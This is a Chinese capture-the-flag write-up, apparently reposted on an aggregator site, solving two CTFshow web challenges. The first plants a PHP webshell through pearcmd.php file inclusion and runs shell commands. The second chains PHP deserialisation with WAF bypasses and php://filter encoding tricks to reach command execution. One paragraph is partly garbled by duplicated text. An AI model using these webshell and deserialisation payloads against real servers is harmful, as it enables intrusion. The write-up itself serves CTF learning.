CTFshow元旦水友赛web部分题解

1.easy_include
看题目是一个文件包含题
在这里插入图片描述

post的内容被过滤掉.,而且开头必须是字母,但是如果想要文件包含需要file:///xxxx,这里开头就是/了,所以需要绕过,file伪协议可以用file://localhost+路径让绕过开头必须是字母。
在这里插入图片描述

可以看到能读取到文件,读取一些配置文件无果,尝试用pear文件包含
get传参 /?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
post传参 1=localhost/usr/local/lib/php/pearcmd.php
然后rce

post  /shell.php
cmd=system('cat /f*');

在这里插入图片描述

2.easy_web
是一道反序列化题
题目有点长,逐步分析。
在这里插入图片描述

waf1:将获得到的参数写成键值对的形式,如果值匹配到a-z退出
在这里插入图片描述

waf2:如果匹配到show,退出
在这里插入图片描述

waf_in_waf_php:先统计字符串a中”base64”出现的次数。如果次数不为1,返回True。如果a中有ucs-2,phar,data,input,zip,flag,%等方法也返回True,如果次数为1或者不出现那些方法则返回False。
在这里插入图片描述

ctf:被唤醒时,抛出异常,被销毁时候,引用h1对象的nonono方法,参数为h2
在这里插入图片描述

show:当调用到以&name为名的不可访问方法时候触发__call,检查 数字第一层的第一层的第三个元素是否包含”ctf”,有则输出”gogogo”
在这里插入图片描述

Chu0_write:被创建时候,chu0被赋值为xiuxiuxiu,当Chu0_write被当作字符串使用时,如果chu0和chu1相等,content则为ctfshowshowshowww和get传参的chu0拼接后字符,如果name中的“base64”个数为1或者有其他方法,将content写入name.txt,其中name用get上传。tmp为读取ctfw.txt文件的内容,如果cmd绕过正则,执行cmd。
在这里插入图片描述

get传参show_show.show,先后进行waf1 和waf2如果绕过正则,进行反序列化。
从头看,waf1($_REQUEST); R E Q U E S T 会同时接受 G E T 和 p o s t 里面的请求,但是 p o s t 的优先级更高,随意可以通过 p o s t 传递数字绕过 w a f 1 的死亡退出 w a f 2 ( _REQUEST会同时接受GET 和post里面的请求,但是post的优先级更高,随意可以通过post传递数字绕过waf1的死亡退出 waf2( REQUEST会同时接受GETpost里面的请求,但是post的优先级更高,随意可以通过post传递数字绕过waf1的死亡退出waf2(_SERVER[‘QUERY_STRING’]);参数名和参数值都不能有show,可以用url编码绕过。
pop链:从ctf()开始,destruct->show()->_call->Chu0_write()->_toString
在这里插入图片描述

尝试一下,现在可以想想如何rce了
在这里插入图片描述

将content写入name文件,但是content是与ctfshowshowshowwww拼接,想到file_put_contents()用过滤器传参,ctfshowshowshowwww被当作垃圾过滤掉,这里用utf-16将system写入ctfw.txx
php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw然后chu0
脚本:

<?php
$b ='system';
$payload = iconv('utf-8', 'utf-16', base64_encode($b));  //utf-16这里可以换成任意filter支持的字符编码
$c=quoted_printable_encode($payload);
echo $c;
>

system编码后是
=FF=FEc=003=00l=00z=00d=00G=00V=00t=00
在这里插入图片描述

读取环境变量得到flag.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/433927.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

作为一名软件工程师,2024年实用的服务

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

20240126-记一次分享

重新把上次辉哥分享的内容重新听了一遍&#xff0c;因为上次有其它会议没有听完&#xff0c;所以这次又重新学习一遍&#xff0c;还是会让自己感触颇多&#xff0c;虽然是战略的分享&#xff0c;但更像是一场人生的课程&#xff0c;下面记录下这次学习的一些关键词。 目标很重…

嵌入式学习第十一天

1.数组和指针的关系: 1.一维数组和指针的关系: int a[5] {1, 2, 3, 4, 5}; int *p NULL; p &a[0]; p a; 数组的数组名a是指向数组第一个元素的一个指针常量 a &a[0] a 的类型可以理解为 int * 有两种情况除…

深入Pyecharts:桑基图绘制与炫酷效果实战【第38篇—python:桑基图】

文章目录 深入Pyecharts&#xff1a;桑基图绘制与炫酷效果实战桑基图简介安装 Pyecharts简单桑基图的绘制自定义桑基图的炫酷效果高级样式定制 多组数据桑基图的展示动态桑基图的绘制结合真实数据的桑基图案例导出和分享进阶应用&#xff1a;桑基图与其他图表的组合总结 深入Py…

ubuntu_qtcreator安装

https://download.qt.io/official_releases/qtcreator/ 5.15 以上安装 QT5.15以上不再提供离线安装包&#xff0c;只能在线安装&#xff0c;– 下载 下载地址如下&#xff1a; 腾讯云的国内资源: Index of /qt/official_releases/online_installers/ 官网下载&#xff1a;…

java金额数字转中文

java金额数字转中文 运行结果&#xff1a; 会进行金额的四舍五入。 工具类源代码&#xff1a; /*** 金额数字转为中文*/ public class NumberToCN {/*** 汉语中数字大写*/private static final String[] CN_UPPER_NUMBER {"零", "壹", "贰",…

AOSP开机动画定制指南(基于Android13)

AOSP开机动画定制指南(基于Android13) 在Android设备上&#xff0c;开机动画是在设备启动时显示的视觉加载序列。当您打开计算机、智能手机、平板电脑或其他电子设备时&#xff0c;操作系统&#xff08;OS&#xff09;被加载到内存中&#xff0c;同时会显示开机动画&#xff0…

本地生活服务平台加盟前景与市场分析

随着短视频市场的的不断发展&#xff0c;人们的生活方式也在发生着巨大的变化。在这个数字化的时代&#xff0c;越来越多的创业者开始注重本地生活服务&#xff0c;这也为创业者提供了一个绝佳的商机。加盟本地生活服务平台&#xff0c;既可以抓住这波风口&#xff0c;又可以满…

算法题 — 链表反转

将单链表的链接顺序反转过来 例&#xff1a;输入&#xff1a;1->2->3->4->5输出&#xff1a;5->4->3->2->1 使用两种方式解题 1 迭代 static class ListNode {int val;ListNode next;public ListNode(int val, ListNode next) {this.val val;this.n…

一种通过增强的面部边界实现精确面部表示的多级人脸超分辨率

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 摘要Abstract文献阅读&#xff1a;一种通过增强的面部边界实现精确面部表示的多级人脸超分辨率二、使用步骤1、研究背景2、方法提出3、相关方法3.1、FSR网络结构3.2…

Unity中URP下额外灯的距离衰减

文章目录 前言一、额外灯的距离衰减二、DistanceAttenuation函数的传入参数1、distanceSqr2、distanceAndSpotAttenuation3、_AdditionalLightsAttenuation4、GetPunctualLightDistanceAttenuation函数三、DistanceAttenuation函数的程序体 前言 在上一篇文章中&#xff0c;我…

【MAC】Multi-Level Monte Carlo Actor-Critic阅读笔记

基本思想&#xff1a; 利用多层次蒙特卡洛方法&#xff08;Multi-Level Monte Carlo&#xff0c;MLMC&#xff09;和Actor-Critic算法&#xff0c;解决平均奖励强化学习中的快速混合问题。 快速混合&#xff1f; 在强化学习中&#xff0c;当我们说一个策略"混合得快"…